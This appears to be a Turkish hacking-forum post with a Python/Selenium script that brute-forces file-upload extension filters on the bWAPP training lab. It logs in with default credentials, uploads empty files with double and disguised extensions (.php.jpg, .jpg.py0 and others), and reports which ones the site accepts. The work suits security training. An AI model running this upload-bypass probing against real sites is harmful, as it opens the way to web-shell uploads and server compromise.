bWAPP/unrestricted_file_upload.php exploit ve payload --python--

yuathay

Katılımcı Üye
7 Mar 2023
377
180
Gitti

kodun genel mantığı :​


1) siteye php javascript python dosyaları upload etmek için farklı uzantılara sahip dosyalar oluşturucaz
2) dosyaları siteye upload etmeye çalışacaz
3) siteye upload edebildiğimiz dosyaları terminalimize yazdırıcaz

genel bilgiler :​


3nd8ypa.png


i1op6t1.png


şimdi dosyanın uzantısını değiştiriyorum


qt2c6bk.png


4pn1b14.png


şimdide uzantıya .jpg ekliycem bakalım python kodumuz çalışacakmı ?:

e0lpi1s.png


6ctn19j.png


gördüğünüz gibi uzantıyı ne yaparsam yapıyım python dosyasını çalıştırabiliyorum
eğer bir dosyanın içerisinde python kodları varsa uzantısı ne olursa olsun python ile çalıştırdığım müddetçe içerisindeki kod bloğu çalışacaktır

kodlarımıza geçelim :​


jrdbs8e.png


r4645y1.png


rc8wjb1.png



VİDEODA ÇALIŞAN HALİ : video

NOT : KOD ÇALIŞTIRILDIKTAN SONRA BİR DAHA ÇALIŞTIRILACAKSA DOSYALAR ADINDAKİ KLASÖRÜ SİLMENİZ VE OLUŞTURULAN DOSYALARDAKİ BAŞLANGIÇ ADLARINI DEĞİŞTİRMENİZ LAZIM
KODLAR :
Python:
import requests
from selenium import webdriver
from selenium.webdriver.common.by import By
import requests
from bs4 import BeautifulSoup
from selenium.webdriver.firefox.options import Options
import os

login = "http://192.168.1.37/bWAPP/login.php"
url = "http://192.168.1.37/bWAPP/unrestricted_file_upload.php"

option = Options()
option.add_argument("--headless")
browser = webdriver.Firefox(options=option)
browser.get(login)
browser.find_element(By.ID,"login").send_keys("bee")
browser.find_element(By.ID,"password").send_keys("bug")
browser.find_element(By.XPATH,"/html/body/div[2]/form/button").click()
#browser.find_element(By.XPATH,"/html/body/div[7]/form/select/option[2]").click() #medium zorluk seviyesine ayarladık
browser.find_element(By.XPATH,"/html/body/div[7]/form/select/option[3]").click() # high seviyesine ayarladık
browser.find_element(By.XPATH,"/html/body/div[7]/form/button").click()
browser.get(url)
response = browser.get_cookies()
session = requests.Session()
for cookie in response:
    session.cookies.set(cookie['name'],cookie['value'])
    

uzantı = ["py","js","php"] #ne kadar uzantı eklerseniz ekleyin kod çalişacaktır

sayı = ["0","1","2","3","4","5","6","7","8","9"]
index = 0
liste = []
sıra = 0
for i in range(len(uzantı)*len(sayı)):   
    liste.append("türkhack."+uzantı[index]+sayı[sıra]) # .py0 --> .py1 --> .py2 --> ...
    liste.append("türkhack.jpg."+uzantı[index]+sayı[sıra]) # .jpg.py0 --> .jpg.py1 --> .jpg.py2 --> ...
    liste.append("türkhack.jpg.png."+uzantı[index]+sayı[sıra]) # .jpg.png.py0 --> .jpg.png.py1 --> ...
    liste.append("türkhack.png.jpg."+uzantı[index]+sayı[sıra]) # .png.jpg.py0 --> .png.jpg.py0 --> ...
    if sıra == 9:
        #bunları neden burada kullandık derseniz ---yukarıda kullandıgımızda kendini tekrar ediyor burada tek sefer olarak yazılıyor---
        liste.append("türkhack.jpg.png."+uzantı[index]) # .jpg.png.py0 -->  .jpg.png.js0  --> .jpg.png.php0
        liste.append("türkhack.png.jpg."+uzantı[index]) # .png.jpg.py0 -->  .png.jpg.js0  --> .png.jpg.php0
        liste.append(f"türkhack.{uzantı[index]}.jpg") # .py.jpg --> .js.jpg --> .php.jpg
        liste.append(f"türkhack.{uzantı[index]}.jp") # .py.jp --> .js.jp -->.php.jp
        liste.append(f"türkhack.jpg.{uzantı[index]}.jp") # .jpg.py.jp --> .jpg.js.jp --> .jpg.php.jp
        liste.append(f"türkhack.jpg.{uzantı[index]}") # .jpg.py --> .jpg.js --> jpg.php
        index += 1
        sıra = 0
    else:
        sıra += 1

#eski dosyalar kısmı--------------------------------------
icerik = session.get("http://192.168.1.37/bWAPP/images/").text #images bölümüne yükleniyor bizim dosyalarımız

eski_liste = []
a = BeautifulSoup(icerik,'html.parser').find_all("a")

for q in a:#<a href="twitter.png">twitter.png</a> bu degerleri düzeltiyoruz
    eski_liste.append(str(q).split(">")[1].replace("</a","")) # twitter.png
#eski dosyalar kısmı--------------------------------------

    
os.mkdir("C:\dosyalar") #dosyalar adında bir klasör oluşturuyoruz
#dosyaları siteye gonderiyoruz-------------------
for i in liste:
    with open(f"C:\dosyalar\{i}","w"): #uzantılar ile dosya oluşturuyoruz ve dosyalar klasörünün içine kayıt ediyoruz
        pass
    browser.find_element(By.XPATH,"/html/body/div[2]/form/p/input").send_keys(f"C:\dosyalar\{i}") #kayıt ettiğimiz dosyaları sıra sıra gönderiyoruz
    browser.find_element(By.XPATH,"/html/body/div[2]/form/input[2]").click() #bu çalıştı
#dosyaları siteye gonderiyoruz-------------------

yeni_icerik = session.get("http://192.168.1.37/bWAPP/images/").text #dosyaları siteye gonderdikten sonra images içerisindeki dosyaları çekelim (eğer dosyalarımız başarılı bir şekilde yüklendiyse burada gözükür)
yeni_liste = []
a = BeautifulSoup(yeni_icerik,'html.parser').find_all("a")

for q in a:
    yeni_liste.append(str(q).split(">")[1].replace("</a",""))

for yeni in yeni_liste:
    if yeni in eski_liste: # eski dosyalar ile aynı olmayan dosyalar bizim siteye gonderdigimiz ve uzantısı kabul olan dosyalardır
        pass
    else:
        print("eklenen dosya :",yeni)
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.